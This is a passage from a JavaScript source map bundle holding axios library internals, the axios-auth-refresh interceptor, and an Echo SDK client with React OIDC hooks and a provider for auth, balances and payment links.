serialize: validators.function\n }, true);\n }\n }\n\n // Set config.allowAbsoluteUrls\n if (config.allowAbsoluteUrls !== undefined) ; else if (this.defaults.allowAbsoluteUrls !== undefined) {\n config.allowAbsoluteUrls = this.defaults.allowAbsoluteUrls;\n } else {\n config.allowAbsoluteUrls = true;\n }\n\n validator.assertOptions(config, {\n baseUrl: validators.spelling('baseURL'),\n withXsrfToken: validators.spelling('withXSRFToken')\n }, true);\n\n // Set config.method\n config.method = (config.method || this.defaults.method || 'get').toLowerCase();\n\n // Flatten headers\n let contextHeaders = headers && utils$1.merge(\n headers.common,\n headers[config.method]\n );\n\n headers && utils$1.forEach(\n ['delete', 'get', 'head', 'post', 'put', 'patch', 'common'],\n (method) => {\n delete headers[method];\n }\n );\n\n config.headers = AxiosHeaders$1.concat(contextHeaders, headers);\n\n // filter out skipped interceptors\n const requestInterceptorChain = [];\n let synchronousRequestInterceptors = true;\n this.interceptors.request.forEach(function unshiftRequestInterceptors(interceptor) {\n if (typeof interceptor.runWhen === 'function' && interceptor.runWhen(config) === false) {\n return;\n }\n\n synchronousRequestInterceptors = synchronousRequestInterceptors && interceptor.synchronous;\n\n requestInterceptorChain.unshift(interceptor.fulfilled, interceptor.rejected);\n });\n\n const responseInterceptorChain = [];\n this.interceptors.response.forEach(function pushResponseInterceptors(interceptor) {\n responseInterceptorChain.push(interceptor.fulfilled, interceptor.rejected);\n });\n\n let promise;\n let i = 0;\n let len;\n\n if (!synchronousRequestInterceptors) {\n const chain = [dispatchRequest.bind(this), undefined];\n chain.unshift.apply(chain, requestInterceptorChain);\n chain.push.apply(chain, responseInterceptorChain);\n len = chain.length;\n\n promise = Promise.resolve(config);\n\n while (i < len) {\n promise = promise.then(chain[i++], chain[i++]);\n }\n\n return promise;\n }\n\n len = requestInterceptorChain.length;\n\n let newConfig = config;\n\n i = 0;\n\n while (i < len) {\n const onFulfilled = requestInterceptorChain[i++];\n const onRejected = requestInterceptorChain[i++];\n try {\n newConfig = onFulfilled(newConfig);\n } catch (error) {\n onRejected.call(this, error);\n break;\n }\n }\n\n try {\n promise = dispatchRequest.call(this, newConfig);\n } catch (error) {\n return Promise.reject(error);\n }\n\n i = 0;\n len = responseInterceptorChain.length;\n\n while (i < len) {\n promise = promise.then(responseInterceptorChain[i++], responseInterceptorChain[i++]);\n }\n\n return promise;\n }\n\n getUri(config) {\n config = mergeConfig(this.defaults, config);\n const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);\n return buildURL(fullPath, config.params, config.paramsSerializer);\n }\n}\n\n// Provide aliases for supported request methods\nutils$1.forEach(['delete', 'get', 'head', 'options'], function forEachMethodNoData(method) {\n /*eslint func-names:0*/\n Axios.prototype[method] = function(url, config) {\n return this.request(mergeConfig(config || {}, {\n method,\n url,\n data: (config || {}).data\n }));\n };\n});\n\nutils$1.forEach(['post', 'put', 'patch'], function forEachMethodWithData(method) {\n /*eslint func-names:0*/\n\n function generateHTTPMethod(isForm) {\n return function httpMethod(url, data, config) {\n return this.request(mergeConfig(config || {}, {\n method,\n headers: isForm ? {\n 'Content-Type': 'multipart/form-data'\n } : {},\n url,\n data\n }));\n };\n }\n\n Axios.prototype[method] = generateHTTPMethod();\n\n Axios.prototype[method + 'Form'] = generateHTTPMethod(true);\n});\n\nvar Axios$1 = Axios;\n\n/**\n * A `CancelToken` is an object that can be used to request cancellation of an operation.\n *\n * @param {Function} executor The executor function.\n *\n * @returns {CancelToken}\n */\nclass CancelToken {\n constructor(executor) {\n if (typeof executor !== 'function') {\n throw new TypeError('executor must be a function.');\n }\n\n let resolvePromise;\n\n this.promise = new Promise(function promiseExecutor(resolve) {\n resolvePromise = resolve;\n });\n\n const token = this;\n\n // eslint-disable-next-line func-names\n this.promise.then(cancel => {\n if (!token._listeners) return;\n\n let i = token._listeners.length;\n\n while (i-- > 0) {\n token._listeners[i](cancel);\n }\n token._listeners = null;\n });\n\n // eslint-disable-next-line func-names\n this.promise.then = onfulfilled => {\n let _resolve;\n // eslint-disable-next-line func-names\n const promise = new Promise(resolve => {\n token.subscribe(resolve);\n _resolve = resolve;\n }).then(onfulfilled);\n\n promise.cancel = function reject() {\n token.unsubscribe(_resolve);\n };\n\n return promise;\n };\n\n executor(function cancel(message, config, request) {\n if (token.reason) {\n // Cancellation has already been requested\n return;\n }\n\n token.reason = new CanceledError(message, config, request);\n resolvePromise(token.reason);\n });\n }\n\n /**\n * Throws a `CanceledError` if cancellation has been requested.\n */\n throwIfRequested() {\n if (this.reason) {\n throw this.reason;\n }\n }\n\n /**\n * Subscribe to the cancel signal\n */\n\n subscribe(listener) {\n if (this.reason) {\n listener(this.reason);\n return;\n }\n\n if (this._listeners) {\n this._listeners.push(listener);\n } else {\n this._listeners = [listener];\n }\n }\n\n /**\n * Unsubscribe from the cancel signal\n */\n\n unsubscribe(listener) {\n if (!this._listeners) {\n return;\n }\n const index = this._listeners.indexOf(listener);\n if (index !== -1) {\n this._listeners.splice(index, 1);\n }\n }\n\n toAbortSignal() {\n const controller = new AbortController();\n\n const abort = (err) => {\n controller.abort(err);\n };\n\n this.subscribe(abort);\n\n controller.signal.unsubscribe = () => this.unsubscribe(abort);\n\n return controller.signal;\n }\n\n /**\n * Returns an object that contains a new `CancelToken` and a function that, when called,\n * cancels the `CancelToken`.\n */\n static source() {\n let cancel;\n const token = new CancelToken(function executor(c) {\n cancel = c;\n });\n return {\n token,\n cancel\n };\n }\n}\n\nvar CancelToken$1 = CancelToken;\n\n/**\n * Syntactic sugar for invoking a function and expanding an array for arguments.\n *\n * Common use case would be to use `Function.prototype.apply`.\n *\n * ```js\n * function f(x, y, z) {}\n * var args = [1, 2, 3];\n * f.apply(null, args);\n * ```\n *\n * With `spread` this example can be re-written.\n *\n * ```js\n * spread(function(x, y, z) {})([1, 2, 3]);\n * ```\n *\n * @param {Function} callback\n *\n * @returns {Function}\n */\nfunction spread(callback) {\n return function wrap(arr) {\n return callback.apply(null, arr);\n };\n}\n\n/**\n * Determines whether the payload is an error thrown by Axios\n *\n * @param {*} payload The value to test\n *\n * @returns {boolean} True if the payload is an error thrown by Axios, otherwise false\n */\nfunction isAxiosError(payload) {\n return utils$1.isObject(payload) && (payload.isAxiosError === true);\n}\n\nconst HttpStatusCode = {\n Continue: 100,\n SwitchingProtocols: 101,\n Processing: 102,\n EarlyHints: 103,\n Ok: 200,\n Created: 201,\n Accepted: 202,\n NonAuthoritativeInformation: 203,\n NoContent: 204,\n ResetContent: 205,\n PartialContent: 206,\n MultiStatus: 207,\n AlreadyReported: 208,\n ImUsed: 226,\n MultipleChoices: 300,\n MovedPermanently: 301,\n Found: 302,\n SeeOther: 303,\n NotModified: 304,\n UseProxy: 305,\n Unused: 306,\n TemporaryRedirect: 307,\n PermanentRedirect: 308,\n BadRequest: 400,\n Unauthorized: 401,\n PaymentRequired: 402,\n Forbidden: 403,\n NotFound: 404,\n MethodNotAllowed: 405,\n NotAcceptable: 406,\n ProxyAuthenticationRequired: 407,\n RequestTimeout: 408,\n Conflict: 409,\n Gone: 410,\n LengthRequired: 411,\n PreconditionFailed: 412,\n PayloadTooLarge: 413,\n UriTooLong: 414,\n UnsupportedMediaType: 415,\n RangeNotSatisfiable: 416,\n ExpectationFailed: 417,\n ImATeapot: 418,\n MisdirectedRequest: 421,\n UnprocessableEntity: 422,\n Locked: 423,\n FailedDependency: 424,\n TooEarly: 425,\n UpgradeRequired: 426,\n PreconditionRequired: 428,\n TooManyRequests: 429,\n RequestHeaderFieldsTooLarge: 431,\n UnavailableForLegalReasons: 451,\n InternalServerError: 500,\n NotImplemented: 501,\n BadGateway: 502,\n ServiceUnavailable: 503,\n GatewayTimeout: 504,\n HttpVersionNotSupported: 505,\n VariantAlsoNegotiates: 506,\n InsufficientStorage: 507,\n LoopDetected: 508,\n NotExtended: 510,\n NetworkAuthenticationRequired: 511,\n};\n\nObject.entries(HttpStatusCode).forEach(([key, value]) => {\n HttpStatusCode[value] = key;\n});\n\nvar HttpStatusCode$1 = HttpStatusCode;\n\n/**\n * Create an instance of Axios\n *\n * @param {Object} defaultConfig The default config for the instance\n *\n * @returns {Axios} A new instance of Axios\n */\nfunction createInstance(defaultConfig) {\n const context = new Axios$1(defaultConfig);\n const instance = bind(Axios$1.prototype.request, context);\n\n // Copy axios.prototype to instance\n utils$1.extend(instance, Axios$1.prototype, context, {allOwnKeys: true});\n\n // Copy context to instance\n utils$1.extend(instance, context, null, {allOwnKeys: true});\n\n // Factory for creating new instances\n instance.create = function create(instanceConfig) {\n return createInstance(mergeConfig(defaultConfig, instanceConfig));\n };\n\n return instance;\n}\n\n// Create the default instance to be exported\nconst axios = createInstance(defaults$1);\n\n// Expose Axios class to allow class inheritance\naxios.Axios = Axios$1;\n\n// Expose Cancel & CancelToken\naxios.CanceledError = CanceledError;\naxios.CancelToken = CancelToken$1;\naxios.isCancel = isCancel;\naxios.VERSION = VERSION;\naxios.toFormData = toFormData;\n\n// Expose AxiosError class\naxios.AxiosError = AxiosError;\n\n// alias for CanceledError for backward compatibility\naxios.Cancel = axios.CanceledError;\n\n// Expose all/spread\naxios.all = function all(promises) {\n return Promise.all(promises);\n};\n\naxios.spread = spread;\n\n// Expose isAxiosError\naxios.isAxiosError = isAxiosError;\n\n// Expose mergeConfig\naxios.mergeConfig = mergeConfig;\n\naxios.AxiosHeaders = AxiosHeaders$1;\n\naxios.formToJSON = thing => formDataToJSON(utils$1.isHTMLForm(thing) ? new FormData(thing) : thing);\n\naxios.getAdapter = adapters.getAdapter;\n\naxios.HttpStatusCode = HttpStatusCode$1;\n\naxios.default = axios;\n\nmodule.exports = axios;\n//# sourceMappingURL=axios.cjs.map\n","!function(e,t){\"object\"==typeof exports&&\"object\"==typeof module?module.exports=t(require(\"axios\")):\"function\"==typeof define&&define.amd?define([\"axios\"],t):\"object\"==typeof exports?exports[\"axios-auth-refresh\"]=t(require(\"axios\")):e[\"axios-auth-refresh\"]=t(e.axios)}(this,(function(e){return function(){\"use strict\";var t={593:function(e,t,r){Object.defineProperty(t,\"__esModule\",{value:!0}),t.resendFailedRequest=t.getRetryInstance=t.unsetCache=t.createRequestQueueInterceptor=t.createRefreshCall=t.shouldInterceptError=t.mergeOptions=t.defaultOptions=void 0;const s=r(300);t.defaultOptions={statusCodes:[401],pauseInstanceWhileRefreshing:!1},t.mergeOptions=function(e,t){return Object.assign(Object.assign(Object.assign({},e),{pauseInstanceWhileRefreshing:t.skipWhileRefreshing}),t)},t.shouldInterceptError=function(e,t,r,s){var n,o;return!!e&&(!(null===(n=e.config)||void 0===n?void 0:n.skipAuthRefresh)&&(!!(t.interceptNetworkError&&!e.response&&0===e.request.status||e.response&&((null==t?void 0:t.shouldRefresh)?t.shouldRefresh(e):null===(o=t.statusCodes)||void 0===o?void 0:o.includes(parseInt(e.response.status))))&&(e.response||(e.response={config:e.config}),!t.pauseInstanceWhileRefreshing||!s.skipInstances.includes(r))))},t.createRefreshCall=function(e,t,r){return r.refreshCall||(r.refreshCall=t(e),\"function\"==typeof r.refreshCall.then)?r.refreshCall:(console.warn(\"axios-auth-refresh requires `refreshTokenCall` to return a promise.\"),Promise.reject())},t.createRequestQueueInterceptor=function(e,t,r){return void 0===t.requestQueueInterceptorId&&(t.requestQueueInterceptorId=e.interceptors.request.use((e=>t.refreshCall.catch((()=>{throw new s.default.Cancel(\"Request call failed\")})).then((()=>r.onRetry?r.onRetry(e):e))))),t.requestQueueInterceptorId},t.unsetCache=function(e,t){e.interceptors.request.eject(t.requestQueueInterceptorId),t.requestQueueInterceptorId=void 0,t.refreshCall=void 0,t.skipInstances=t.skipInstances.filter((t=>t!==e))},t.getRetryInstance=function(e,t){return t.retryInstance||e},t.resendFailedRequest=function(e,t){return e.config.skipAuthRefresh=!0,t(e.response.config)}},300:function(t){t.exports=e}},r={};function s(e){var n=r[e];if(void 0!==n)return n.exports;var o=r[e]={exports:{}};return t[e](o,o.exports,s),o.exports}var n={};return function(){var e=n;Object.defineProperty(e,\"__esModule\",{value:!0});const t=s(593);e.default=function(e,r,s={}){if(\"function\"!=typeof r)throw new Error(\"axios-auth-refresh requires `refreshAuthCall` to be a function that returns a promise.\");const n={skipInstances:[],refreshCall:void 0,requestQueueInterceptorId:void 0};return e.interceptors.response.use((e=>e),(o=>{if(s=(0,t.mergeOptions)(t.defaultOptions,s),!(0,t.shouldInterceptError)(o,s,e,n))return Promise.reject(o);s.pauseInstanceWhileRefreshing&&n.skipInstances.push(e);const u=(0,t.createRefreshCall)(o,r,n);return(0,t.createRequestQueueInterceptor)(e,n,s),u.catch((e=>Promise.reject(e))).then((()=>(0,t.resendFailedRequest)(o,(0,t.getRetryInstance)(e,s)))).finally((()=>(0,t.unsetCache)(e,n)))}))}}(),n}()}));","// src/auth/token-provider.ts\nvar ApiKeyTokenProvider = class {\n constructor(apiKey) {\n this.apiKey = apiKey;\n }\n async getAccessToken() {\n return this.apiKey;\n }\n async refreshToken() {\n return Promise.resolve();\n }\n};\nvar OAuthTokenProvider = class {\n getTokenFn;\n refreshTokenFn;\n onRefreshErrorFn;\n constructor(config) {\n this.getTokenFn = config.getTokenFn;\n this.refreshTokenFn = config.refreshTokenFn;\n this.onRefreshErrorFn = config.onRefreshErrorFn;\n }\n async getAccessToken() {\n return this.getTokenFn();\n }\n async refreshToken() {\n return this.refreshTokenFn();\n }\n onRefreshError(error) {\n if (this.onRefreshErrorFn) {\n this.onRefreshErrorFn(error);\n }\n }\n};\n\n// src/client.ts\nimport axios from \"axios\";\nimport createAuthRefreshInterceptor from \"axios-auth-refresh\";\n\n// src/config.ts\nvar defaultConfig = {\n baseUrl: typeof process !== \"undefined\" && process.env?.ECHO_BASE_URL || \"https://echo.merit.systems\"\n};\nfunction getConfig(overrides) {\n return {\n ...defaultConfig,\n ...overrides\n };\n}\n\n// src/utils/error-handling.ts\nvar EchoError = class _EchoError extends Error {\n code;\n details;\n statusCode;\n endpoint;\n originalError;\n constructor(code, message, options) {\n super(message);\n this.name = \"EchoError\";\n this.code = code;\n if (options?.details !== void 0) this.details = options.details;\n if (options?.statusCode !== void 0) this.statusCode = options.statusCode;\n if (options?.endpoint !== void 0) this.endpoint = options.endpoint;\n if (options?.originalError !== void 0)\n this.originalError = options.originalError;\n if (Error.captureStackTrace) {\n Error.captureStackTrace(this, _EchoError);\n }\n }\n};\nvar EchoApiError = class extends EchoError {\n constructor(code, message, statusCode, details, endpoint) {\n const options = {};\n if (details !== void 0) options.details = details;\n if (statusCode !== void 0) options.statusCode = statusCode;\n if (endpoint !== void 0) options.endpoint = endpoint;\n super(code, message, options);\n this.name = \"EchoApiError\";\n }\n};\nvar EchoNetworkError = class extends EchoError {\n constructor(message, originalError, endpoint) {\n const options = {\n originalError\n };\n if (endpoint !== void 0) options.endpoint = endpoint;\n super(\"NETWORK_ERROR\", message, options);\n this.name = \"EchoNetworkError\";\n }\n};\nvar EchoTimeoutError = class extends EchoError {\n timeout;\n constructor(message, timeout, endpoint) {\n const options = {};\n if (endpoint !== void 0) options.endpoint = endpoint;\n super(\"TIMEOUT_ERROR\", message, options);\n this.name = \"EchoTimeoutError\";\n this.timeout = timeout;\n }\n};\nvar EchoAuthError = class extends EchoError {\n constructor(message, details, endpoint) {\n const options = {};\n if (details !== void 0) options.details = details;\n if (endpoint !== void 0) options.endpoint = endpoint;\n super(\"AUTH_ERROR\", message, options);\n this.name = \"EchoAuthError\";\n }\n};\nvar ERROR_CODES = {\n // Authentication errors\n UNAUTHORIZED: \"UNAUTHORIZED\",\n TOKEN_EXPIRED: \"TOKEN_EXPIRED\",\n INVALID_TOKEN: \"INVALID_TOKEN\",\n // API errors\n BAD_REQUEST: \"BAD_REQUEST\",\n NOT_FOUND: \"NOT_FOUND\",\n RATE_LIMITED: \"RATE_LIMITED\",\n INSUFFICIENT_BALANCE: \"INSUFFICIENT_BALANCE\",\n VALIDATION_ERROR: \"VALIDATION_ERROR\",\n // Network errors\n NETWORK_ERROR: \"NETWORK_ERROR\",\n TIMEOUT_ERROR: \"TIMEOUT_ERROR\",\n // Server errors\n SERVER_ERROR: \"SERVER_ERROR\",\n SERVICE_UNAVAILABLE: \"SERVICE_UNAVAILABLE\"\n};\nfunction parseEchoError(error, context, endpoint) {\n if (error && typeof error === \"object\" && \"isAxiosError\" in error) {\n const axiosError = error;\n if (axiosError.code === \"ECONNABORTED\") {\n return new EchoTimeoutError(\n `Request timeout${context ? ` while ${context}` : \"\"}`,\n 3e4,\n // Default timeout\n endpoint\n );\n }\n if (!axiosError.response) {\n return new EchoNetworkError(\n `Network error${context ? ` while ${context}` : \"\"}`,\n axiosError,\n endpoint\n );\n }\n const status = axiosError.response.status;\n const responseData = axiosError.response.data;\n let code;\n let message;\n const baseErrorMessage = responseData?.error || responseData?.message;\n switch (status) {\n case 401:\n code = ERROR_CODES.UNAUTHORIZED;\n message = baseErrorMessage || \"Authentication required. Please sign in again.\";\n break;\n case 403:\n code = ERROR_CODES.INVALID_TOKEN;\n message = baseErrorMessage || \"Access denied. Your session may have expired.\";\n break;\n case 404:\n code = ERROR_CODES.NOT_FOUND;\n message = baseErrorMessage || \"Resource not found\";\n break;\n case 429:\n code = ERROR_CODES.RATE_LIMITED;\n message = baseErrorMessage || \"Too many requests. Please try again later.\";\n break;\n case 400:\n code = ERROR_CODES.BAD_REQUEST;\n message = baseErrorMessage || \"Invalid request\";\n break;\n case 402:\n code = ERROR_CODES.INSUFFICIENT_BALANCE;\n message = baseErrorMessage || \"Insufficient balance. Please add credits to continue.\";\n break;\n case 422:\n code = ERROR_CODES.VALIDATION_ERROR;\n message = baseErrorMessage || \"Validation failed\";\n break;\n case 503:\n code = ERROR_CODES.SERVICE_UNAVAILABLE;\n message = baseErrorMessage || \"Service temporarily unavailable. Please try again.\";\n break;\n default:\n code = ERROR_CODES.SERVER_ERROR;\n message = baseErrorMessage || \"An unexpected error occurred\";\n }\n const formattedMessage = context ? `Failed to ${context}: ${message}` : message;\n return new EchoApiError(\n code,\n formattedMessage,\n status,\n responseData?.details || responseData?.error_description,\n endpoint\n );\n }\n if (error instanceof Error) {\n return new EchoNetworkError(\n error.message || `Unknown error${context ? ` while ${context}` : \"\"}`,\n error,\n endpoint\n );\n }\n if (typeof error === \"string\") {\n return new EchoApiError(\n ERROR_CODES.SERVER_ERROR,\n error,\n void 0,\n void 0,\n endpoint\n );\n }\n return new EchoApiError(\n ERROR_CODES.SERVER_ERROR,\n `Unknown error${context ? ` while ${context}` : \"\"}`,\n void 0,\n String(error),\n endpoint\n );\n}\nfunction isAuthError(error) {\n const authCodes = [\n ERROR_CODES.UNAUTHORIZED,\n ERROR_CODES.TOKEN_EXPIRED,\n ERROR_CODES.INVALID_TOKEN\n ];\n return authCodes.includes(error.code);\n}\nfunction isRetryableError(error) {\n const retryCodes = [\n ERROR_CODES.NETWORK_ERROR,\n ERROR_CODES.TIMEOUT_ERROR,\n ERROR_CODES.RATE_LIMITED,\n ERROR_CODES.SERVICE_UNAVAILABLE\n ];\n return retryCodes.includes(error.code);\n}\nfunction getUserFriendlyMessage(error) {\n switch (error.code) {\n case ERROR_CODES.UNAUTHORIZED:\n case ERROR_CODES.TOKEN_EXPIRED:\n case ERROR_CODES.INVALID_TOKEN:\n return \"Please sign in to continue\";\n case ERROR_CODES.INSUFFICIENT_BALANCE:\n return \"Insufficient balance. Please add credits to your account.\";\n case ERROR_CODES.RATE_LIMITED:\n return \"Too many requests. Please wait a moment and try again.\";\n case ERROR_CODES.NETWORK_ERROR:\n return \"Connection failed. Please check your internet connection.\";\n case ERROR_CODES.TIMEOUT_ERROR:\n return \"Request timed out. Please try again.\";\n case ERROR_CODES.SERVICE_UNAVAILABLE:\n return \"Service is temporarily unavailable. Please try again later.\";\n case ERROR_CODES.NOT_FOUND:\n return error.message || \"The requested resource was not found.\";\n case ERROR_CODES.VALIDATION_ERROR:\n return error.message || \"Please check your input and try again.\";\n default:\n return error.message || \"An unexpected error occurred. Please try again.\";\n }\n}\nvar BaseResource = class {\n constructor(http) {\n this.http = http;\n }\n /**\n * Generic wrapper for API calls with consistent error handling\n */\n async handleRequest(operation, context, endpoint) {\n try {\n const response = await operation();\n return response.data;\n } catch (error) {\n const echoError = parseEchoError(error, context, endpoint);\n throw echoError;\n }\n }\n /**\n * Handle errors and throw standardized EchoError\n */\n handleError(error, context, endpoint) {\n const echoError = parseEchoError(error, context, endpoint);\n throw echoError;\n }\n};\nasync function withRetry(operation, maxRetries = 3, delayMs = 200, context) {\n let lastError;\n for (let attempt = 1; attempt <= maxRetries; attempt++) {\n try {\n return await operation();\n } catch (error) {\n lastError = parseEchoError(error, context);\n if (!isRetryableError(lastError)) {\n throw lastError;\n }\n if (attempt === maxRetries) {\n throw lastError;\n }\n const delay = delayMs * Math.pow(2, attempt - 1) + Math.random() * 100;\n await new Promise((resolve) => setTimeout(resolve, delay));\n }\n }\n throw lastError;\n}\n\n// src/resources/apps.ts\nvar AppsResource = class extends BaseResource {\n constructor(http, baseUrl) {\n super(http);\n this.baseUrl = baseUrl;\n }\n /**\n * List all Echo apps for the authenticated user\n */\n async listEchoApps() {\n const response = await this.handleRequest(\n () => this.http.get(\"/api/v1/apps\"),\n \"listing Echo apps\",\n \"/api/v1/apps\"\n );\n return response.apps;\n }\n /**\n * Get a specific Echo app by ID\n * @param appId The Echo app ID\n */\n async getEchoApp(appId) {\n return this.handleRequest(\n () => this.http.get(`/api/v1/apps/${appId}`),\n \"fetching Echo app\",\n `/api/v1/apps/${appId}`\n );\n }\n /**\n * Get app URL for a specific Echo app\n * @param appId The Echo app ID\n */\n getAppUrl(appId) {\n return `${this.baseUrl}/apps/${appId}`;\n }\n};\n\n// src/resources/balance.ts\nvar BalanceResource = class extends BaseResource {\n constructor(http) {\n super(http);\n }\n /**\n * Get current balance for the authenticated user across all apps\n */\n async getBalance() {\n return this.handleRequest(\n () => this.http.get(\"/api/v1/balance\"),\n \"fetching balance\",\n \"/api/v1/balance\"\n );\n }\n /**\n * Get free tier balance for a specific app\n * @param echoAppId The Echo app ID to get free tier balance for\n */\n async getFreeBalance(echoAppId) {\n const request = { echoAppId };\n return this.handleRequest(\n () => this.http.post(\"/api/v1/balance/free\", request),\n \"fetching free tier balance\",\n \"/api/v1/balance/free\"\n );\n }\n};\n\n// src/resources/models.ts\nvar ModelsResource = class extends BaseResource {\n constructor(http) {\n super(http);\n }\n /**\n * Get supported models with pricing, limits, and capabilities\n */\n async getSupportedModels() {\n return this.handleRequest(\n () => this.http.get(\"/api/v1/supported-models\"),\n \"fetching supported models\",\n \"/api/v1/supported-models\"\n );\n }\n /**\n * Get supported models as a flat array\n */\n async listSupportedModels() {\n try {\n const response = await this.getSupportedModels();\n return response.models;\n } catch (error) {\n throw this.handleError(error, \"listing supported models\");\n }\n }\n /**\n * Get supported models grouped by provider\n */\n async getSupportedModelsByProvider() {\n try {\n const response = await this.getSupportedModels();\n return response.models_by_provider;\n } catch (error) {\n throw this.handleError(error, \"getting models by provider\");\n }\n }\n};\n\n// src/resources/payments.ts\nvar PaymentsResource = class extends BaseResource {\n constructor(http) {\n super(http);\n }\n /**\n * Create a payment link for purchasing credits\n * @param request Payment link details\n */\n async createPaymentLink(request) {\n return this.handleRequest(\n () => this.http.post(\n \"/api/v1/stripe/payment-link\",\n request\n ),\n \"creating payment link\",\n \"/api/v1/stripe/payment-link\"\n );\n }\n /**\n * Get payment URL for purchasing credits\n * @param amount Amount to purchase in USD\n * @param description Optional description for the payment\n * @param successUrl Optional URL to redirect to after successful payment\n */\n async getPaymentUrl(amount, description, successUrl) {\n const request = {\n amount,\n description: description || \"Echo Credits\"\n };\n if (successUrl) {\n request.successUrl = successUrl;\n }\n try {\n const response = await this.createPaymentLink(request);\n return response.paymentLink.url;\n } catch (error) {\n throw this.handleError(error, \"getting payment URL\");\n }\n }\n};\n\n// src/resources/users.ts\nvar UsersResource = class extends BaseResource {\n constructor(http) {\n super(http);\n }\n /**\n * Get current user information\n */\n async getUserInfo() {\n return this.handleRequest(\n () => this.http.get(\"/api/v1/user\"),\n \"fetching user info\",\n \"/api/v1/user\"\n );\n }\n /**\n * Register a referral code for the authenticated user\n * @param echoAppId The Echo app ID to register the referral code for\n * @param code The referral code to register\n */\n async registerReferralCode(echoAppId, code) {\n const request = { echoAppId, code };\n return this.handleRequest(\n () => this.http.post(\n \"/api/v1/user/referral\",\n request\n ),\n \"registering referral code\",\n \"/api/v1/user/referral\"\n );\n }\n};\n\n// src/client.ts\nvar EchoClient = class {\n http;\n config;\n tokenProvider;\n // Resource instances\n balance;\n payments;\n apps;\n users;\n models;\n constructor(options) {\n this.config = getConfig(options);\n if (options?.tokenProvider) {\n this.tokenProvider = options.tokenProvider;\n } else {\n const apiKey = this.config.apiKey || process.env.ECHO_API_KEY;\n if (!apiKey) {\n throw new Error(\"No API key or token provider provided\");\n }\n this.tokenProvider = new ApiKeyTokenProvider(apiKey);\n }\n this.http = axios.create({\n baseURL: this.config.baseUrl,\n timeout: 3e4\n });\n this.http.interceptors.request.use(async (config) => {\n const token = await this.tokenProvider.getAccessToken();\n if (token) {\n config.headers[\"Authorization\"] = `Bearer ${token}`;\n }\n return config;\n });\n const refreshAuthLogic = async (failedRequest) => {\n try {\n await this.tokenProvider.refreshToken();\n const newToken = await this.tokenProvider.getAccessToken();\n if (newToken) {\n failedRequest.response.config.headers[\"Authorization\"] = `Bearer ${newToken}`;\n }\n return Promise.resolve();\n } catch (error) {\n if (this.tokenProvider.onRefreshError) {\n this.tokenProvider.onRefreshError(error);\n }\n return Promise.reject(error);\n }\n };\n createAuthRefreshInterceptor(this.http, refreshAuthLogic, {\n statusCodes: [401],\n pauseInstanceWhileRefreshing: true\n });\n this.balance = new BalanceResource(this.http);\n this.payments = new PaymentsResource(this.http);\n this.apps = new AppsResource(this.http, this.config.baseUrl);\n this.users = new UsersResource(this.http);\n this.models = new ModelsResource(this.http);\n }\n};\nexport {\n ApiKeyTokenProvider,\n AppsResource,\n BalanceResource,\n BaseResource,\n ERROR_CODES,\n EchoApiError,\n EchoAuthError,\n EchoClient,\n EchoError,\n EchoNetworkError,\n EchoTimeoutError,\n ModelsResource,\n OAuthTokenProvider,\n PaymentsResource,\n UsersResource,\n defaultConfig,\n getConfig,\n getUserFriendlyMessage,\n isAuthError,\n isRetryableError,\n parseEchoError,\n withRetry\n};\n//# sourceMappingURL=index.js.map","import {\n EchoClient,\n OAuthTokenProvider,\n} from '@merit-systems/echo-typescript-sdk';\nimport { useEffect, useState } from 'react';\nimport { useAuth } from 'react-oidc-context';\n\ninterface UseEchoClientOptions {\n apiUrl: string;\n}\n\n/**\n * Custom hook for managing EchoClient lifecycle\n * Handles client creation, token management, and cleanup\n */\nexport function useEchoClient({ apiUrl }: UseEchoClientOptions) {\n const auth = useAuth();\n const [client, setClient] = useState<EchoClient | null>(null);\n\n useEffect(() => {\n if (!auth.user?.access_token) {\n setClient(null);\n return;\n }\n\n const tokenProvider = new OAuthTokenProvider({\n getTokenFn: () => Promise.resolve(auth.user?.access_token || null),\n refreshTokenFn: async () => {\n await auth.signinSilent();\n },\n onRefreshErrorFn: (error: Error) => {\n console.error('Token refresh failed:', error);\n auth.signoutSilent();\n },\n });\n\n const newClient = new EchoClient({\n baseUrl: apiUrl,\n tokenProvider,\n });\n\n setClient(newClient);\n\n return () => {\n setClient(null);\n };\n }, [apiUrl, auth.user?.access_token, auth.signinSilent, auth.signoutSilent]);\n\n return client;\n}\n","import type {\n EchoClient,\n FreeBalance,\n} from '@merit-systems/echo-typescript-sdk';\nimport { User, UserManager, WebStorageStateStore } from 'oidc-client-ts';\nimport {\n createContext,\n ReactNode,\n useCallback,\n useEffect,\n useState,\n} from 'react';\nimport {\n AuthProvider,\n AuthProviderUserManagerProps,\n useAuth,\n} from 'react-oidc-context';\nimport { useEchoBalance } from '../hooks/useEchoBalance';\nimport { useEchoClient } from '../hooks/useEchoClient';\nimport { useEchoPayments } from '../hooks/useEchoPayments';\nimport { EchoBalance, EchoConfig, EchoUser } from '../types';\n\nexport interface EchoContextValue {\n // Auth & User\n rawUser: User | null | undefined; // directly piped from oidc\n user: EchoUser | null; // directly piped from oidc\n balance: EchoBalance | null;\n freeTierBalance: FreeBalance | null;\n isAuthenticated: boolean;\n isLoading: boolean;\n error: string | null;\n token: string | null;\n echoClient: EchoClient | null;\n signIn: () => Promise<void>;\n signOut: () => Promise<void>;\n refreshBalance: () => Promise<void>;\n createPaymentLink: (\n amount: number,\n description?: string,\n successUrl?: string\n ) => Promise<string>;\n getToken: () => Promise<string | null>;\n clearAuth: () => Promise<void>;\n}\n\nexport const EchoContext = createContext<EchoContextValue | null>(null);\n\ninterface EchoProviderProps {\n config: EchoConfig;\n children: ReactNode;\n}\n\n// Internal provider that handles everything\nfunction EchoProviderInternal({ config, children }: EchoProviderProps) {\n const auth = useAuth();\n\n const user = auth.user;\n const echoUser: EchoUser | null = user ? parseEchoUser(user) : null;\n const apiUrl = config.apiUrl || 'https://echo.merit.systems';\n const token = auth.user?.access_token || null;\n\n const echoClient = useEchoClient({ apiUrl });\n\n const {\n balance,\n freeTierBalance,\n refreshBalance,\n error: balanceError,\n isLoading: balanceLoading,\n } = useEchoBalance(echoClient, config.appId);\n\n const {\n createPaymentLink,\n error: paymentError,\n isLoading: paymentLoading,\n } = useEchoPayments(echoClient);\n\n const clearAuth = useCallback(async () => {\n try {\n await auth.removeUser();\n } catch (err) {\n console.error('Error during auth cleanup:', err);\n }\n }, [auth.removeUser]);\n\n const getToken = useCallback(async (): Promise<string | null> => {\n return auth.user?.access_token || null;\n }, [auth.user?.access_token]);\n\n // Combine errors from different sources\n const combinedError =\n auth.error?.message || balanceError || paymentError || null;\n const combinedLoading = 